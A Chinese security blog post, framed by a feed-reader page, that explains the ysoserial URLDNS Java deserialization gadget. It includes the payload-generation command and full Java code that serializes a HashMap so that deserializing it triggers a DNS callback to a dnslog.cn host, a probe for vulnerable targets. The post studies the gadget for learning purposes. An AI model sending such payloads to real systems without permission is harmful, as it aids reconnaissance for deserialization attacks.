惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
CERT Recently Published Vulnerability Notes
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
WordPress大学
WordPress大学
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
V
Visual Studio Blog
Stack Overflow Blog
Stack Overflow Blog
aimingoo的专栏
aimingoo的专栏
C
Check Point Blog
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
T
Tor Project blog
P
Proofpoint News Feed
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Latest news
Latest news
L
LINUX DO - 热门话题
罗磊的独立博客
T
Tenable Blog
The Hacker News
The Hacker News
美团技术团队
N
Netflix TechBlog - Medium
V
Vulnerabilities – Threatpost
阮一峰的网络日志
阮一峰的网络日志
Last Week in AI
Last Week in AI
博客园 - 司徒正美
Jina AI
Jina AI
Cyberwarzone
Cyberwarzone
云风的 BLOG
云风的 BLOG
S
Secure Thoughts
Cloudbric
Cloudbric
S
Security @ Cisco Blogs
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Microsoft Security Blog
Microsoft Security Blog
Spread Privacy
Spread Privacy
U
Unit 42
雷峰网
雷峰网
C
CXSECURITY Database RSS Feed - CXSecurity.com
Webroot Blog
Webroot Blog
爱范儿
爱范儿
博客园 - 【当耐特】
Know Your Adversary
Know Your Adversary
P
Privacy International News Feed
P
Palo Alto Networks Blog
Google Online Security Blog
Google Online Security Blog
The Last Watchdog
The Last Watchdog
博客园 - 聂微东
Help Net Security
Help Net Security
Hacker News: Ask HN
Hacker News: Ask HN
F
Full Disclosure
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
S
Security Affairs
Project Zero
Project Zero

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
小楼昨夜又春风,你知ysoserial-Gadget-URLDNS…
2026-07-17 · via SumSec's Blog

小楼昨夜又春风,你知ysoserial-Gadget-URLDNS多少?

前言

文章首发:https://www.sec-in.com/article/299
  2015年Gabriel Lawrence(@gebl)和Chris Frohoff(@frohoff)在AppSecCali大会上提出的利用Apache Commons Collections来构造命令执行利用链,随后发布ysoserial工具,从此打开Java安全的蓝海。
   利用链(gadget chains),俗称gadget。通俗来说就是一种利用方法,它是从触发位置开始到执行命令的位置结束,也可以说是漏洞验证方法(POC)。
   使用方法,GitHub下载jar包或者git源码自己编译。

java -jar ysoseial.jar URLDNS “http://baidu.com"

再将生成号POC发送目标,如果目标存在反序列化漏洞,并且满足利用链条件,则命令将会被执行。

ps: 本文实验代码都上传JavaLearnVulnerability项目,为了让更多人知道,麻烦动动小手star一下。


URLDNS

URLDNS是其中的一个gadget的名字,此gadget不能执行命令,通常用来验证目标是否存在反序列化漏洞。URLDNS gadget十分适合用来验证目标是否存在反序列化漏洞。

  • 此gadget完全使用Java内置的类构造,无需第三方库支持。
  • 如果目标没有回显,通过DNS解析请求是否存在来判断存在反序列化漏洞。

漏洞分析

打开https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java查看源码,但笔者这里使用自己改写的源码来分析此gadget链。

package samny.serializable;

import samny.util.Reflections;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class urldns {
    public static void main(String[] args) throws Exception {

        URLStreamHandler handler = new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) {
                return null;
            }
            @Override
            protected synchronized InetAddress getHostAddress(URL u){
                return null;
            }
        };

        HashMap hm = new HashMap();
        URL url = new URL(null,"http://4h9yq1.dnslog.cn",handler);
        hm.put(url,url);

        Reflections.setFieldValue(url,"hashCode",-1);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url"));
        oos.writeObject(hm);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url"));
		// 注释这行代码是不会产生dns解析请求,
        ois.readObject();
    }
}

漏洞复现

   漏洞分析之前,我们先看看漏洞执行效果。
   分析一个在线dns解析记录网站DNSlog Platform,网站无需任何登录注册,国内访问速度也快,DNS记录获取速度没得说,子域名可以无限更换。
在这里插入图片描述
漏洞复现步骤

  1. 修改你能过记录dns解析的网址。
    在这里插入图片描述
  2. 直接运行main方法,刷新记录。

断点分析

   触发反序列化漏洞的方法是readObject,所以笔者在43行代码处和hashmapreadObject各设置一个断点。
PS:

   计算hash的时候会跳转到java.net.URLStreamHandler.java#hashCode方法来计算hash。注意看图片中被框住的一行代码,hashCode在计算hash时,会调用getHostAddress()方法,进而调用getByName(host)方法。
在这里插入图片描述
   执行方法,我们发现会有一个等待时间大概2秒钟之后(其实就是DNS解析所需要的时间),可以获取DNS解析记录。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

小结

   整个的URLDNS的gadget其实清晰又简单。

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

   其实作者在博客中写道,可以用四行代码就可以实现此gadget chains,反观ysoserial中源码,去掉注释也多还有几行代码,多出的代码时干嘛的呢?

在这里插入图片描述

巧妙避免重复

   多出几行代码,我们来分析一下。ysoserial的作者重写了URLStreamHandler其中两个方法。但是我们还没搞清楚其中的作用。

URLStreamHandler handler = new URLStreamHandler() {
            @Override
            protected URLConnection openConnection(URL u) {
                return null;
            }
            @Override
            protected synchronized InetAddress getHostAddress(URL u){
                return null;
            }
        };

   老规矩,断点撸码。不过此时断点应该设置在哪?笔者按照源作者的代码,去掉序列化和反序列化的过程。剩下代码也就上面的和下面图片给出的5行代码,分析不难发现断点应该设置在hm.put()。其中31和32行代码肯定是不会去设置断点的,至于36行在之前就说明其作用。
在这里插入图片描述
   调试代码不能发现,put方法也和hashmap中的readObject方法的方法是差不多的,继续跟进。
在这里插入图片描述
   继续跟进还是来到java.net.URLStreamHandler#hashCode方法,但此时方法会跳转到笔者复写的方法中,返回应该null,进而就不会去解析dns。
在这里插入图片描述
在这里插入图片描述


   为什么hashmap中putval方法就不会跳转到我们复现的类方法里面返回一个null呢?(个人见解,源码无法修改所以无法调试)
答:反序列化时应该时将二进制代码直接读取,进去调用hashmap中readObject方法,此时反序列化完全是使用jdk源码调用,不会再去看我们用户复写方法。
   笔者这里有点事实可以整明我的观点。
众所周知Java是代码是一行一行的去编译解释的,我们复现的类URLStreamHandler,实现的类对象hander在url进实例化的时候处理了,也就是33行代码。但是进行反序列化操作的时候,并没有将此复现方法进行序列化,所以反序列化的时候不会处理URL,计算hash值的时候,不可能跳转到我们复写的方法返回一个null,只能是跳转到原本的方法中。
在这里插入图片描述


总结

   当URL最初被放在HashMap中时,通过可以调用put,HashMap.hashMap.hash方法被调用。这个方法反过来又会调用该URL的hashCode,但是hashCode是有一个缓存值的,并不会触发DNS解析。但是我们可以在读取数据流的时候,在URL添加到HashMap中重置缓存值(使其hashCode=-1),来确保DNS解析。可以使用Java的Reflection中setFieldValue方法来达到重置hashCode值为-1。
   Ysoserial用一个类复写完美避免重复DNSLOG,感概其作者的神奇逻辑思维能力。有兴趣的朋友完全可以去注释掉getHostAddress方法亦或者是删除掉整个handler代码,然后就会出现DNSLOG。


参考

P神Java安全漫谈 - 08.反序列化篇(2)
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
https://lalajun.github.io/2020/03/05/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-ysoserial-URLDNS/